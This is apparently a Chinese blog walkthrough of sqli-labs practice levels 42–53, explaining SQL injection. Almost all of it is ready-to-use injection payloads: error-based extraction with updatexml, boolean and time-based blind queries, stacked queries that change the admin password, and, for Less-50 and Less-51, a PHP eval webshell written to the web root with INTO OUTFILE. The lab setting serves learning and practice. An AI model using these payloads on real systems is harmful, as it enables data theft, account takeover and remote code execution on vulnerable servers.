当前位置: 首页 > news >正文

以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】

【Less-42】

使用 'or 1=1 -- aaa 密码,登陆成功。

找到注入点:密码输入框。

解题步骤:

# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

获取到数据库、数据表、字段之后,可以根据SQL注入,尝试修改管理员密码。

';update security.users set password='1111' where username='admin' -- aaa

【Less-43】

与Less-42不同的点在于使用的闭合不同,')or 1=1-- aaa 密码,登陆成功。

解题过程和Less-42相似,具体如下:

解题步骤:

# 获取数据库名
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

# 获取字段名
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-44】

基本与Less-42解题过程一样,只是Less-44没有信息提示,使用SQL盲注根据是否成功登录判断信息。

# 获取数据库长度
'or length(database())=8 -- a

# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa

# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa

# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa


#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-45】

基本与Less-44解题过程基本一样,只是闭合使用的 ') ,SQL盲注根据是否成功登录判断信息。

# 获取数据库长度
'or length(database())=8 -- a

# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa

# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa

# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa


#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-46】

通过更换sort后面的数字,得到了不同顺序的结果,大致可以猜出用的order by 字段,此时可以and updatexml()方法实现SQL注入。

解题步骤:

# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) 

# 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) 

结果:

【Less-47】

基本和Less-46类似,只是多了一个单引号闭合,其他解题步骤基本一致。

# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)  -- aaa

# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)  -- aaa

【Less-48】

此题由于没有信息显示,使用时间盲注判断数据库长度,字符、数据表名、字段名。

解题步骤:

# 猜数据库名的长度
?sort=1 and if(length(database())>1,sleep(5),1)

# 猜数据库名
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)

#  猜数据表名
?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)

#  猜数据字段名
?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1)

结果为:

【Less-49】

与Less-48 类似,只是闭合类型不同,采用的是 单引号闭合,其他的和上一题一样。

 解题步骤:

# 猜数据库名的长度
?sort=1' and if(length(database())>1,sleep(5),1) -- aaa

# 猜数据库名
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa

#  猜数据表名
?sort=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- aaa

#  猜数据字段名
?sort=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- aaa

【Less-50】

和Less-46一样,没有闭合,直接在后面注入,解题过程一模一样。

源码分析:

解题步骤:

# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) 

# 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) 

结果:

PS:此题源码中出现的mysqli_multi_query(执行一个或多个针对数据库的查询。多个查询用分号进行分隔。),容易出现堆叠注入。

尝试使用堆叠写码,一句话木马。 

# 后面的跟的是文件保存目录

?sort=1;select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php'

结果:

【Less-51】

与Less-50类似,只是闭合不同,使用的是单引号。 

解决方案:

# 获取数据库名
?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

# 获取数据表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from  -- aaa
information_schema.tables where table_schema=database() ),0x7e),1) 

# 获取字段名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

同样的,也可以实现SQL注入phpinfo();

# 后面的跟的是文件保存目录

?sort=1';select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php' -- aa

【Less-52】

尝试使用各种常见的闭合,总是不能正常显示,但是又没有错误提示,此时使用时间盲注解决。

and if(条件,满足结果,不满足结果)

# 猜数据库长度
and if(length(database())=8,sleep(5),1)

# 猜数据库的组成字母
and if(ascii(substr(database(),1,1))=115,sleep(5),1)

# 猜数据表的组成字母
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)

# 猜数据表的字段组成字母
and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)

【Less-53】

与Less-52不同的点在于闭合的方式不同,使用的是单引号闭合。

解题步骤:

# 猜数据库长度
?sort=1' and if(length(database())=8,sleep(5),1) -- aaa

# 猜数据库的组成字母
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa

# 猜数据表的组成字母
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- aaa

# 猜数据表的字段组成字母
?sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)-- aaa

相关文章:

  • [HGAME 2023 week4]shellcode
  • 在CSS中,可以使用`float`属性来设置元素浮动
  • Java--命令行传参
  • Elasticsearch 认证模拟题 - 15
  • Web前端不挂科:深入探索与实战指南
  • Python课设-学生信息管理系统
  • Rust-03-数据类型
  • 医疗器械网络安全风险管理的基本步骤
  • 结构化查询语言SQL
  • Unity与前端交互:深度解析与实战指南
  • 二、electron 的 BrowserWindow 的属性
  • WinForms 应用(.NET 8.0)使用ReportViewerCore.WinForms显示打印RDLC报表
  • 监控易监测对象及指标之:全面监控SQL Server 2008
  • shell简介
  • LLVM Cpu0 新后端4
  • linux暴力破解漏洞利用
  • 未来已来:Angular、React、Vue.js——前端框架的三大巨头
  • 【POSIX】使用iconv库将UTF-8字符串转换为UTF-16字符串
  • Pytorch环境配置
  • Mybatis06-动态SQL
  • 娱见 | 为了撕番而脱粉,内娱粉丝为何如此在乎番位
  • 以色列计划“占领加沙”,特朗普下周中东行结束之际将是“机会窗口”
  • 习近平同欧洲理事会主席科斯塔、欧盟委员会主席冯德莱恩就中欧建交50周年互致贺电
  • 俄军击落多架企图攻击莫斯科的无人机
  • 厦大历史系教授林汀水辞世,曾参编《中国历史地图集》
  • 重庆渝中警方:男子点燃摩托车欲寻衅滋事,被民警和群众合力制服